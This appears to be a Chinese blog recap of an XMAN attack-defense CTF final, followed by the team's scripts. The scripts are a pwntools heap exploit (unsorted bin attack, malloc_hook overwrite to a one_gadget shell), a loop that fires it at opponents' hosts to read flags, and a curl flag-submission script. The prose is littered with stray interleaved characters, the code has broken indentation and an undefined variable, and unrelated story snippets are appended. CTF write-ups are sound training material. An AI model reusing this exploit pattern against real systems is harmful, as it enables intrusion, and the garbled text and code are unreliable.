xman結(jié)營賽總結(jié)

XMAN 結(jié)營賽總結(jié)

第一次打awd線下賽丽已,有點小慌亂,什么工具腳本都沒有準備买决。因為講怎么打awd的時候我在下面打網(wǎng)鼎杯沛婴,回去又寫wp,就粗略的看了下awd的賽制是什么督赤。下面就寫下比賽后的總結(jié)

  • 準備階段
    • xshell 嘁灯,xtfp等連接服務器的工具,將服務器上的文件備份躲舌。
    • 自動化攻擊腳本模板以及自動化交flag的模板丑婿,這次就是因為浪費了很多時間在寫自動化腳本上
      這次比賽我們用的是兩個腳本,一個半自動化攻擊没卸,一個半自動化交flag虑椎,同時我寫了個linux的shell腳本工秩,將兩個腳本結(jié)合起來形成了自動化
    • 準備好攪屎腳本,讓別人流量分析變得更困難(劃重點!tこ省!豪嚎!)雖然比賽時不給攪屎
  • 比賽階段
    • 比賽一開始就要將服務器上的東西備份好舷礼,同時將一些登陸密碼什么的都改了,我的組員就是拼了一波手速尉桩,改了別人的密碼
    • 做pwn的就是逆向筒占,挖漏洞,打patch蜘犁,寫exp打全場翰苫,大概就這些工作,我的組員將pwn2打好了patch这橙,我則寫了pwn1的exp奏窑,但是patch不會打.....
      我們到最后都沒寫出pwn2的exp,有點難受,格式化字符串的漏洞利用的不熟
    • 剩下的就是關注下比賽的積分榜了析恋,畢竟web的不會做良哲,但是到后面我們沒事做就都跑去分析web的流量了,幫web分析漏洞助隧。

大概就這么些吧筑凫,可能寫的不是很全,下面將比賽寫的腳本貼一下

exp:

from pwn import *
#context.log_level = 'debug'
debug = 0


def leave(size,mes):
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.send(mes)

def delete(idx):
    p.recv()
    p.sendline(str('2'))
    p.recv()
    p.sendline(str(idx))

def show(idx):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(str(idx))

def getshell(n):
    p.recv()
    p.sendline('4')
    p.recv()
    p.sendline(str(n))
    

def expolit():
    leave(0x88,'a'*0x88)
    leave(0x210,'b'*0x1f0+p64(0x200)+p64(0x21)+'\n')
    leave(0x80,'c'*0x80)
    leave(0x80,'c'*0x80)
    delete(1)
    delete(0)
    leave(0x88,'e'*0x88)
    leave(0x100,'a'*0x100)
    leave(0x80,'a'*0x80)
    delete(1)
    delete(2)
    leave(0x100,'a'*0x100)
    show(4)
    p.recvuntil("Message: ")
    leak = u64(p.recv(6).ljust(8,'\x00'))
    print hex(leak)
    main_arena = leak - 88
    libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
    print "main_arena-->[%s]"%hex(main_arena)
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one_gadget = libc_base + 0xf02a4
    global_max_fast = libc_base + 0x3c67f8
    
    log.info("unsorted bin attack ")
    delete(1)
    leave(0x2a0,'a'*0x108+p64(0xc1)+'a'*0xb8+p64(0x91)+'a'*0x88+p64(0x51)+'\n')
    delete(1)
    leave(0x300,'a\n')
    delete(4)
    leave(0x2a0,'a'*0x108+p64(0xc0)+p64(global_max_fast-0x10)+p64(global_max_fast-0x10)+'a'*0xa0+p64(0xc0)+p64(0x91)+'\n')
    leave(0xb0,'a\n')
    delete(4)
    delete(2)
    log.info("unsorted bin attack done")


    leave(0x2a0,'a'*0x108+p64(0xc1)+p64(malloc_hook-0x10)+'\n')
    leave(0xb0,'a\n')
    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xf1)+'a'*0xe8+p64(0x61)+'\n')

    delete(4)
    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xf1)+p64(main_arena+0x58)+'a'*0xe0+p64(0x61)+'\n')#2
    leave(0xe0,'a\n')#4

    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xe1)+p64(main_arena+0x58)+'a'*0xd0+p64(0x71)+'\n')#2

    leave(0xd0,'a\n')#5

    leave(0x80,p64(one_gadget)+'\n')

    delete(4)
    delete(5)
    p.sendline("/bin/cat flag")
    data=p.readline()
    data=p.readline()
    
    f.write(data)
    p.close()

def go(p):
    try :
        expolit()
    except Exception:
        p.close()
    return 

if __name__ == '__main__':
    f=open("flags","w")
    port = '20003'
    #ban={1,2,4,5,7,9,17,19,21}
    for x in range(1,25):
    if x not in ban:
        host = '172.16.{}.103'.format(str(x))
        p  = remote(host,port)
            libc = ELF('./libc-2.23.so')
            go(p)
    f.close()   

uploadflag:

import os
import requests
f=open("./flags","r")

while(1):
    flag=f.readline()
    print flag
    if flag=="":
    break
    if len(flag)==61:
        flag=flag.strip('\n')
        cmd='''curl http://172.16.200.20:9000/submit_flag/ -d/ -d "flag={}&token=xkS9nxNNshMyRxT7T36naYaFRxWgJyryJKVyGyXb7TGT6yVc9BhvFMhY3DHrJV9hCUtmjMFsSHd"'''.format(flag)
        os.system(cmd)

auto shell scripts:

while true; do python exp.py;python uploadflag.py; sleep 300; done
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末并村,一起剝皮案震驚了整個濱河市巍实,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌哩牍,老刑警劉巖棚潦,帶你破解...
    沈念sama閱讀 217,734評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異膝昆,居然都是意外死亡丸边,警方通過查閱死者的電腦和手機叠必,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評論 3 394
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來妹窖,“玉大人纬朝,你說我怎么就攤上這事〗竞簦” “怎么了共苛?”我有些...
    開封第一講書人閱讀 164,133評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長蜓萄。 經(jīng)常有香客問我隅茎,道長,這世上最難降的妖魔是什么嫉沽? 我笑而不...
    開封第一講書人閱讀 58,532評論 1 293
  • 正文 為了忘掉前任辟犀,我火速辦了婚禮,結(jié)果婚禮上耻蛇,老公的妹妹穿的比我還像新娘踪蹬。我一直安慰自己,他們只是感情好臣咖,可當我...
    茶點故事閱讀 67,585評論 6 392
  • 文/花漫 我一把揭開白布跃捣。 她就那樣靜靜地躺著,像睡著了一般夺蛇。 火紅的嫁衣襯著肌膚如雪疚漆。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,462評論 1 302
  • 那天刁赦,我揣著相機與錄音娶聘,去河邊找鬼。 笑死甚脉,一個胖子當著我的面吹牛丸升,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播牺氨,決...
    沈念sama閱讀 40,262評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼狡耻,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了猴凹?” 一聲冷哼從身側(cè)響起夷狰,我...
    開封第一講書人閱讀 39,153評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎郊霎,沒想到半個月后沼头,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,587評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,792評論 3 336
  • 正文 我和宋清朗相戀三年进倍,在試婚紗的時候發(fā)現(xiàn)自己被綠了土至。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,919評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡背捌,死狀恐怖毙籽,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情毡庆,我是刑警寧澤,帶...
    沈念sama閱讀 35,635評論 5 345
  • 正文 年R本政府宣布烙如,位于F島的核電站么抗,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏亚铁。R本人自食惡果不足惜蝇刀,卻給世界環(huán)境...
    茶點故事閱讀 41,237評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望徘溢。 院中可真熱鬧吞琐,春花似錦、人聲如沸然爆。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽曾雕。三九已至奴烙,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間剖张,已是汗流浹背切诀。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留搔弄,地道東北人幅虑。 一個月前我還...
    沈念sama閱讀 48,048評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像顾犹,于是被迫代替她去往敵國和親倒庵。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,864評論 2 354

推薦閱讀更多精彩內(nèi)容